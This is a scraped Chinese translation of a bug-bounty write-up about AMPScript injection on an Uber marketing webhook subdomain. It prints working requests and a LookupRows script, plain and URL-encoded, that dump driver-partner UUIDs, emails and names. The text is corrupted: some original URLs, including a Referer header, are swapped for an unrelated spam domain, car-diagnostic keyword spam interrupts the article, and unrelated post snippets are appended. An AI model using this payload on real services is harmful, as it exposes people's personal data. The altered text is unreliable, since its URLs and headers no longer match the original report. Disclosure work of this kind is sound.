现代项目开发和资产管理方法正在不停地快速变化。在这场创新和扩张的竞赛中,新资产被迅速部署并暴露于公共互联网,已有资产也在不断发展。

要跟上这个不断变化的攻击面是很难的,更不用说保护这些应用程序和系统了。传统的基于时间点和静态的安全措施根本无法奏效,在这种动态环境中主动管理威胁似乎是一项不可能完成的任务。

解决这个问题的唯一方法是持续化的安全评估和资产感知。我们在用持续安全平台(Continuous Security Platform)监控大型攻击面时,经常发现由资产结构变更导致的新的或未发现的漏洞。

这就是我们的Assetnote持续安全平台在Uber漏洞赏金计划的一个子域名下发现的情况:exacttarget-web-hook.uber.com。

很长一段时间,子域名返回的是一个由Express.js Web服务器生成的普通且无聊的“Not Found”错误。
突然有一天,子域名返回了一个像是Uber消息个性化系统的内部测试响应:

Assetnote CS在https://iprog-programmer.chinaobd2.com/

乍一看,该应用程序看起来像一个用于测试文本消息的API控制台,该消息包含用户的个性化设置。

我们尝试根据提供的“测试contractKey”来利用API控制台,但失败了。经过一番调查后,我们断定这是因为contactKey参数必须是经过身份验证的帐户的UUID,而不是API控制台页面上提供的UUID。在登录后,我们从https://iprog-programmer.chinaobd2.com/的HTML源码中提取到了UUID。

在使用正确的Uber帐户的UUID填入contactKey参数后,我们能够发送API请求到preview接口:

  1. GET /preview?contactKey=[redacted]&dataExtension=driver_partners&create_new=true&message=&business_unit= HTTP/1.1
  2. Host: exacttarget-web-hook.uber.com
  3. Connection: close
  4. User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36
  5. Accept: */*
  6. DNT: 1
  7. Referer: https://iprog-programmer.chinaobd2.com/
  8. Accept-Encoding: gzip, deflate
  9. Accept-Language: en-US,en;q=0.8

本文前面所示的截图正是API控制台中preview接口返回的“消息”:

  1. %%[
  2. SET @firstName = LOOKUP('driver_partners', 'firstname', 'partner_uuid', partner_uuid)
  3. ]%%
  4. Hi there I'm %%=v(@firstName)=%% and I created this tool.

通过调查语法并联想到子域名为exacttarget-web-hook,我们意识到上面的代码实际上是AMPScript。

Salesforce的Marketing Cloud发明了AMPScript脚本语言,它可以嵌入到HTML邮件、文本邮件、登录页面和SMS消息中,以控制展示给个人消费者的内容。 AMPScript由ExactTarget开发,在2013年被Salesforce收购。

一开始使用API控制台中提供的示例AMPScript失败了,于是我们开始全面评估AMPScript的可用性。我们很快发现HTTPGet函数可以发送HTTP GET请求并得到响应内容:

运行AMPScript的查询语句:%%=HTTPGet('https://ipinfo.io')=%%

很好!我们能够利用任意的AMPScript!但是,我们通过HTTPGet函数发起的请求并非Uber服务器产生的,如上图所示,它来自AS22606 ExactTarget,Inc。

为了演示该漏洞的影响,我们从名叫driver_partners的数据扩展中提取了用户数据。数据扩展是一种可以用AMPScript数据扩展函数访问的数据库表。

通过阅读有关LookupRows函数的AMPScript文档,我们可以写一个这样的AMPScript脚本:

  1. 在driver_partners数据扩展中搜索所有firstname等于Shubs的行。
  2. 将查询结果存储到数组中。
  3. 迭代访问数组并打印值。

最终的AMPScript如下:

  1. %%[
  2. SET @prefArray = LookupRows('driver_partners', 'firstname', 'Shubs')
  3. SET @rCount = RowCount(@prefArray)
  4. FOR @i = 1 TO @rCount DO
  5. SET @Row = Row(@prefArray, @i)
  6. SET @ID = Field(@Row, 1)
  7. SET @UUID = Field(@Row, 2)
  8. SET @joinDate = Field(@Row, 3)
  9. SET @email = Field(@Row, 4)
  10. SET @firstName = Field(@Row, 5)
  11. ]%%
  12. %%=V(@UUID)=%%
  13. %%=V(@joinDate)=%%
  14. %%=V(@email)=%%
  15. %%=V(@firstName)=%%
  16. %%[
  17. NEXT @i
  18. ]%%

当此AMPScript发送请求到preview接口后,响应中包含UUID、注册日期、邮箱地址以及名为Shubs的所有用户的名字。

对preview接口的HTTP请求如下:

  1. GET /preview?contactKey=[redacted]&dataExtension=driver_partners&create_new=true&message=%25%25%5b%0d%0a%53%45%54%20%40%70%72%65%66%41%72%72%61%79%20%3d%20%4c%6f%6f%6b%75%70%52%6f%77%73%28%27%64%72%69%76%65%72%5f%70%61%72%74%6e%65%72%73%27%2c%20%27%66%69%72%73%74%6e%61%6d%65%27%2c%20%27%53%68%75%62%73%27%29%0d%0a%53%45%54%20%40%72%43%6f%75%6e%74%20%3d%20%52%6f%77%43%6f%75%6e%74%28%40%70%72%65%66%41%72%72%61%79%29%0d%0a%46%4f%52%20%40%69%20%3d%20%31%20%54%4f%20%40%72%43%6f%75%6e%74%20%44%4f%0d%0a%09%53%45%54%20%40%52%6f%77%20%3d%20%52%6f%77%28%40%70%72%65%66%41%72%72%61%79%2c%20%40%69%29%0d%0a%09%53%45%54%20%40%49%44%20%3d%20%46%69%65%6c%64%28%40%52%6f%77%2c%20%31%29%0d%0a%09%53%45%54%20%40%55%55%49%44%20%3d%20%46%69%65%6c%64%28%40%52%6f%77%2c%20%32%29%0d%0a%09%53%45%54%20%40%6a%6f%69%6e%44%61%74%65%20%3d%20%46%69%65%6c%64%28%40%52%6f%77%2c%20%33%29%0d%0a%09%53%45%54%20%40%65%6d%61%69%6c%20%3d%20%46%69%65%6c%64%28%40%52%6f%77%2c%20%34%29%0d%0a%09%53%45%54%20%40%66%69%72%73%74%4e%61%6d%65%20%3d%20%46%69%65%6c%64%28%40%52%6f%77%2c%20%35%29%0d%0a%09%53%45%54%20%40%75%6e%6b%6e%6f%77%6e%31%30%20%3d%20%46%69%65%6c%64%28%40%52%6f%77%2c%20%31%30%29%0d%0a%5d%25%25%0d%0a%09%25%25%3d%56%28%40%55%55%49%44%29%3d%25%25%0d%0a%09%25%25%3d%56%28%40%6a%6f%69%6e%44%61%74%65%29%3d%25%25%0d%0a%09%25%25%3d%56%28%40%65%6d%61%69%6c%29%3d%25%25%0d%0a%09%25%25%3d%56%28%40%66%69%72%73%74%4e%61%6d%65%29%3d%25%25%0d%0a%09%25%25%3d%56%28%40%75%6e%6b%6e%6f%77%6e%31%30%29%3d%25%25%0d%0a%25%25%5b%0d%0a%4e%45%58%54%20%40%69%0d%0a%5d%25%25&business_unit= HTTP/1.1
  2. Host: exacttarget-web-hook.uber.com
  3. Connection: close
  4. User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36
  5. Accept: */*
  6. DNT: 1
  7. Referer: https://exacttarget-web-hook.uber.com/
  8. Accept-Encoding: gzip, deflate
  9. Accept-Language: en-US,en;q=0.8

Vag COM , TCS CDP , VAS5054A , GM Tech2 , Iprog+ Programmer , Orange 5 programmer , SBB3 PRO3 Key Programmer , wiTech MicroPod II , T300+ Key Programmer, Iprog, Scania VCI3, mercedes star diagnostic, Porsche Piwis, vocom 88890300, Renault CAN Clip, SBB Key Programmer, NEXIQ USB Link

响应(UUID和邮箱地址已打码):

Uber返回的所有用户名叫‘Shubs’的数据

如上所示,返回了许多名为Shubs的用户的详细信息(我已修改截图仅展示测试帐户)。攻击者可以编写AMPScript来提取大量的数据,或者搜索Uber数据中名叫XXX的特定人,并提取他们的UUID和电子邮件地址。

利用AMPScript获取Uber用户数据的访问权限的更多相关文章

  1. Kubernetes RBAC授权普通用户对命名空间访问权限

    Kubernetes RBAC授权普通用户对命名空间访问权限 官方文档:https://www.cnblogs.com/xiangsikai/p/11413970.html kind: Role ap ...

  2. 使用腾讯开发平台获取QQ用户数据资料

    <今天是七夕:祝大家七夕嗨皮,前可么么哒,后可啪啪啪> Tips:本篇博客将教你如何使用腾讯开发平台获取QQ用户资料 ----------------------------------- ...

  3. Struts2 利用拦截器 interceptor 控制登陆和访问权限

    最近学习了Struts2的登录和权限控制用到的是拦截器,需要在struts.xml中配置,每个action都默认的继承defaultStack,如果你用了别的拦截器,还需要手动引入defaultSta ...

  4. [App Store Connect帮助]二、 添加、编辑和删除用户(4)更改用户的 App 访问权限

    您可以限制具有“App 管理”.“客户支持”.“开发者”.“营销”或“销售”职能的用户(均不具有“访问报告”职能)拥有哪些 App 的访问权限.如果您不更改他们的用户 App 访问权限,他们将默认拥有 ...

  5. SQL Server新增用户并控制访问权限设置。

    新增用户: 一.进入数据库:[安全性]—>[登录名]—>[新建登录名] 二.在常规选项卡中.如图所示,创建登录名.注意设置默认的数据库. 三.在[用户映射]下设置该用户所能访问的数据库.并 ...

  6. 利用PHP连接数据库——实现用户数据的增删改查的整体操作实例

    main页面(主页面) <table width="100%" border="1" cellpadding="0" cellspac ...

  7. springMVC+request.session实现用户登录和访问权限控制

    用springmvc mybatis实现用户登录登出功能,使用session保持登录状态,并实现禁止未登录的用户访问.感谢谷歌资源,在这里做个学习记录加深自己的印象. 原文在我的https://my. ...

  8. sqlserver2012 用户指定数据库访问权限

    这样 用户进入的时候 就只能访问指定数据库 点击其他 显示

  9. Android各种访问权限Permission详解

    原文:http://jingyan.baidu.com/article/afd8f4de4688af34e386e976.html 在Android的设计中,资源的访问或者网络连接,要得到这些服务都需 ...

随机推荐

  1. 分享腾讯云的Linux服务器连接速度很慢的解决心得(原创)

    最近发觉连接服务器非常慢,之前没有出现过这种情况. 我在这个腾讯云的服务器上弄了很多虚拟服务器,估计是数据量太大 造成了冗余数据较多的原因,咨询了下腾讯云的小哥, 给我了个明确的回复: 您反馈Xshe ...

  2. Codeforces 522D Closest Equals

    题解: 傻逼题 直接从左向右扫描每个点作为右端点 然后单点修改区间查询就行了 另外一种更直观的做法就是$(i,j)$之间产生了$(j-i)$ 于是变成矩形查最大值,kd-tree维护 代码: #inc ...

  3. BZOJ.2616.SPOJ PERIODNI(笛卡尔树 树形DP)

    BZOJ SPOJ 直观的想法是构建笛卡尔树(每次取最小值位置划分到两边),在树上DP,这样两个儿子的子树是互不影响的. 令\(f[i][j]\)表示第\(i\)个节点,放了\(j\)个车的方案数. ...

  4. Hibernate 双向一对多映射

    附代码: public class Order { private Integer id; private String OrderName; private Customer customer; p ...

  5. img标签与span一起使用不在同一条线上

    布局时 img标签与span标签在同一行是不能垂直,解决办法:在 img标签添加一个 vertical-align:middle; 即 <!-- img与span的文字与图片保持同一条水平线 在 ...

  6. java单链表反转(花了半个多小时的作品)

    欢迎光临............... 首先我们要搞清楚链表是啥玩意儿?先看看定义: 讲链表之前我们先说说Java内存的分配情况:我们new对象的时候,会在java堆中为对象分配内存,当我们调用方法的 ...

  7. vue2.0无限滚动加载数据插件

      做vue项目用到下拉滚动加载数据功能,由于选的UI库(element)没有这个组件,就用Vue-infinite-loading 这个插件代替,使用中遇到的一些问题及使用方法,总结作记录! 安装: ...

  8. vue_条件渲染_v-if_v-else_v-show

    data: { ok: true flag: false } 1. 成对出现的 v-if 和 v-else 原理是: 标签的删除与重新创建 ,有些情况必须用 v-if <p v-if=" ...

  9. 条件结构if

    教程: 高能:语句结构都是由关键字开头,用冒号结束! 一:语句结构    if condition_1:    statement_block_1elif condition_2:    statem ...

  10. 手写AVL 树(下)

    上一篇 手写AVL树上实现了AVL树的插入和查询 上代码: 头文件:AVL.h #include <iostream> template<typename T1,typename T ...